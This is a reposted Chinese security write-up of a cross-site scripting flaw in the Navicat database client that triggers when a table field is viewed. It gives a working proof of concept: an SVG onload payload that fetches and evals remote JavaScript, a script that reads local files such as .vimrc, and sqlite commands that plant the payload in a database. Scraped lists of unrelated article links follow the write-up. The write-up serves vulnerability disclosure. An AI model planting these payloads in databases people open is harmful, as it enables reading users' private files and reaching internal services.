Navicat 客户端存在一个 XSS,在查看表字段时,没有对内容进行处理,导致一个 XSS 问题。利用这个漏洞可以读取敏感文件,比如 /Users/XXXX/.bash_history 。

漏洞发现

这两天在测试一个漏洞数据库,这个漏洞库集成了 packetstormsecurity、exploitdb 等知名来源的数据。当我们用 navicat 打开,查看某个字段的时候,奇怪的事情发生了,居然有 Javascript 弹窗提示?

通过搜索 prompt 关键词,很快定位到了问题

所以,navicat 在渲染数据库字段时,莫名其妙的执行了代码中的 Javascript。

漏洞测试

为了方便调试客户端 XSS,我们编写一个最小的 “requirejs” 利用代码。这段代码会远程加载 127.0.0.1/test.js 并执行

http://localhost/x#<svg/onload='function reqListener(){eval(this.responseText);}var oReq = new XMLHttpRequest();oReq.addEventListener("load", reqListener);oReq.open("GET", "http://127.0.0.1/test.js?_="+new Date());oReq.send();'>

下面编写 test.js,以读取沙箱外面的文件为例(注意替换 Users/USERNAME/.vimrc 为你要读取的文件)

function reqListener () {prompt(this.responseText);
}var oReq = new XMLHttpRequest();
oReq.addEventListener("load", reqListener);
oReq.open("GET", "file:///Users/USERNAME/.vimrc");
oReq.send();

然后来创建 SQLite 数据库,并用 Navicat 打开

%> sqlite3 test.db
SQLite version 3.19.3 2017-06-27 16:48:08 Enter ".help" for usage hints. sqlite> create table test(id text); sqlite> insert into test values('http://localhost/x#<svg/onload=''function reqListener(){eval(this.responseText);}var oReq = new XMLHttpRequest();oReq.addEventListener("load", reqListener);oReq.open("GET", "http://127.0.0.1/test.js?_="+new Date());oReq.send();''>'); 

经过测试,利用这个漏洞读取用户文件、内网代理、访问开发机上的 redis 等等都是可以的,具有一定的危害

测试环境下载

笔者制作了一个最小的测试库 “navicat-clientxss-test.db”,在这里下载:https://rasp.baidu.com/download/

转自:http://www.3xmq.com/article/1514942883329?r=woshipm&from=timeline

看不见的攻击面:查看 SQLite 数据库就中招?相关推荐

  1. android studio SQLScout插件查看sqlite数据库

    SQLScout (SQLite Support) SQLScout (SQLite Support) 是android studio集成开发工具中查看SQLite数据库的插件. 1.安装 file- ...

  2. Android查看手机中的db文件,查看sqlite数据库的表结构

    转载自:https://blog.csdn.net/u011835956/article/details/52368829 我们的app里面用到sqlite数据库的时候, 会生成一个db文件,保存在我 ...

  3. 如何查看sqlite数据库的 .db文件中的表的内容数据

    在使用 qt 的sqlite 数据的时候,对于创建的数据库的 .db 文件的内容的查看我们可以按照下面的步骤安装工具进行查看 下载所需的sqlite 查看工具 下载:链接:https://pan.ba ...

  4. 在windows下查看SQLite数据库

    今天学了<第一行代码>的SQLite数据库,郭老师说用cmd下的adb可以查看,但我的进不了超级用户,没有权限进去(有没有大佬有解决方案?),忧虑中带着感伤,突然找到了其他方法解决,剑走偏 ...

  5. 关于Android Studio查看SQLite数据库

    连接SQLite数据库 对于as内部模拟器可以使用App Inspection,支持API26版本以上 优点:这种是最方便的可以实时查看数据表的变化 缺点:仅支持内部模拟器,需要安装的东西比较多,很慢 ...

  6. Android 使用Stetho在Chrome浏览器查看SQLite数据库

    前情提要 做Android经常要查看本地SQLite数据库的数据,可以直接用RootExplorer查看,或者在Android Studio中导出数据库文件,然后用第三方SQLite可视化工具查看,比 ...

  7. 使用adb命令查看Sqlite数据库

    1,windows系统,使用快捷键alt+R,然后输入cmd,进度到命令行,输入adb shell,进入到命令模式的环境中 2,输入:cd /data/data/ 3, 选择你所在的数据库文件,比如我 ...

  8. android数据库插件,AndroidStudio中查看SQLite数据库插件

    SQLScout,在 Android studio 内连接并操作 Android 设备上 sqlite 数据库. 特性 数据库结构浏览器 where you can connect to SQLite ...

  9. 查看android数据库sqlite3中的表及数据、手机上直接编辑数据库

    找到一篇关于Sqlite的好文章,擅自保存下来,希望作者不要怪罪.. 转自: http://www.apkbus.com/android-60977-1-1.html 最近涉及到数据库的操作,要察看手 ...

最新文章

  1. 自控力极差的人如何自救?两个方法战胜拖延!
  2. PHP fsockopen函数说明:
  3. ROS Indigo下安装测试Xtion Pro
  4. 支付宝二面:Mybatis 接口 Mapper 内的方法为啥不能重载吗?我直接懵逼了。。。
  5. boost::describe模块实现string转enum的测试程序
  6. java 读取 邮件 附件,JavaMail 中对附件下载的处理
  7. php中datetime,珍藏 PHP中DateTime的常用方法
  8. Cracking the Coding Interview(Stacks and Queues)
  9. 设计模式(七)装饰模式
  10. springSession框架来实现sso单点登陆
  11. 我们用大数据创造没人能理解的人工智能
  12. 深入浅出Linux设备驱动编程--引言
  13. 【HUD2072】单词数(字典树-统计一句话中不同单词的个数)
  14. [数据结构] 树链剖分
  15. 计算机网络课程思政教学目标,计算机学院举行课程思政示范教学活动
  16. 【已解决】更新到MacOS Catalina 10.15后,VMware Fusion 虚拟机黑屏以及无法添加辅助功能的问题
  17. BaseFX 实习小记(终)
  18. 如何用PHP判断一个网址是否被百度搜索引擎收录,判断的原理是什么?
  19. 教你低成本获取用户:利用数据精细化运营(附手绘图)
  20. filter 过滤器

热门文章

  1. SAP QM MB56 报表没有结果之分析与对策
  2. SAP Forecasting and Replenishment for Retail – A short Overview【中英文双语版】
  3. SAP QM IDI Interface
  4. SAP ECM(Engineering Change Management) 相关表
  5. 这应该是全网最好的「机器学习」科普文
  6. AI 风投的下一个拐点是进还是退?
  7. 特斯拉:即将推出神经网络雨刷
  8. 人工智能进阶-CIFAR-10数据集介绍
  9. 一篇文章教你搞定传说中的“随机森林”
  10. AutoX李卓:无人驾驶市场是渐进式的,但技术其实很难渐进式